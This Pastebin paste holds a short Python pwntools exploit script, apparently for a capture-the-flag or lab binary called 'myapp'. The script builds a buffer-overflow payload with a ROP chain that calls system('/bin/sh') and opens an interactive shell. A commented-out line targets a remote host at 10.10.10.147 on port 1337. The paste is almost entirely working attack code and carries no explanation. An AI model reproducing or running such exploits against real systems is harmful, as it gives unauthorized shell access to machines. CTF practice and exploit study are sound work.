Advertisement
Guest User

Untitled

a guest
Aug 22nd, 2019
643
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.40 KB | None | 0 0
  1. import pwn
  2.  
  3. plt_system = pwn.p64(0x401040)
  4. plt_puts = pwn.p64(0x401030)
  5. pop_rdi = pwn.p64(0x40120b)
  6.  
  7. main = pwn.p64(0x40115f)
  8. buf_heap_addr = pwn.p64(0x405670)
  9.  
  10.  
  11. buf = "/bin/sh\x00"
  12. buf += "A" * (120 - len(buf))
  13. buf += pop_rdi
  14. buf += buf_heap_addr
  15. buf += plt_system
  16. buf += main
  17.  
  18. # p = pwn.remote("10.10.10.147", 1337)
  19. p = pwn.process("./myapp")
  20. p.recvline()
  21. p.sendline(buf)
  22. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement